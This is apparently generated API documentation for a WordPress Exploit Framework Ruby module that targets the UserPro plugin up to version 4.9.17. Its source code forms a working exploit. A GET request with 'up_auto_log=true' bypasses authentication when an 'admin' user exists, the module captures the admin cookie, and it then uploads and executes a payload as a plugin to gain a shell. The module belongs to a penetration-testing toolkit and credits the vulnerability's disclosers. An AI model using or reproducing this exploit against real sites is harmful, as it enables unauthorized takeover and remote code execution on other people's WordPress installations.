Class: Wpxf::Exploit::UserProShellUpload

Inherits:
Module
  • Object
show all
Includes:
Utility, WordPress::Login, WordPress::Plugin
Defined in:
lib/wpxf/modules/exploit/shell/userpro_shell_upload.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::Plugin

#fetch_plugin_upload_nonce, #generate_wordpress_plugin_header, #upload_payload_as_plugin, #upload_payload_as_plugin_and_execute

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ UserProShellUpload

Returns a new instance of UserProShellUpload.



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# File 'lib/wpxf/modules/exploit/shell/userpro_shell_upload.rb', line 8

def initialize
  super

  update_info(
    name: 'UserPro <= 4.9.17 Shell Upload',
    desc: %(
      Prior to version 4.9.17.1, the UserPro plugin is vulnerable to
      an authentication bypass if a user named "admin" exists. Using
      this vulnerability, this module gains admin rights and uploads
      a payload to the target in the form of a plugin.
    ),
    author: [
      'Colette Chamberland', # Disclosure
      'Iain Hadgraft',       # Disclosure
      'rastating'            # WPXF Module
    ],
    date: 'Nov 11 2017'
  )
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/userpro_shell_upload.rb', line 28

def check
  changelog = normalize_uri(wordpress_url_plugins, 'userpro', 'changelog.txt')
  regex = /Version\s+([\d\.]+)\s+/
  check_version_from_custom_file(changelog, regex, '4.9.17.1')
end

#fetch_admin_cookie ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/userpro_shell_upload.rb', line 34

def fetch_admin_cookie
  res = execute_get_request(
    url: full_uri,
    params: {
      'up_auto_log' => 'true'
    }
  )

  return nil unless valid_wordpress_cookie?(res.cookies.to_s)

  res.cookies.each do |k, v|
    return nil if k =~ /^wordpress.*/ && v == 'deleted'
  end

  res.cookies
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/userpro_shell_upload.rb', line 51

def run
  return false unless super

  emit_info 'Acquiring admin cookie...'
  cookie = fetch_admin_cookie
  if cookie.nil?
    emit_error 'Failed to acquire an admin cookie. A user named "admin" may not exist.'
    return false
  end

  emit_info 'Uploading payload...'
  res = upload_payload_as_plugin_and_execute(
    Text.rand_alpha(10),
    Text.rand_alpha(10),
    cookie
  )

  !res.nil?
end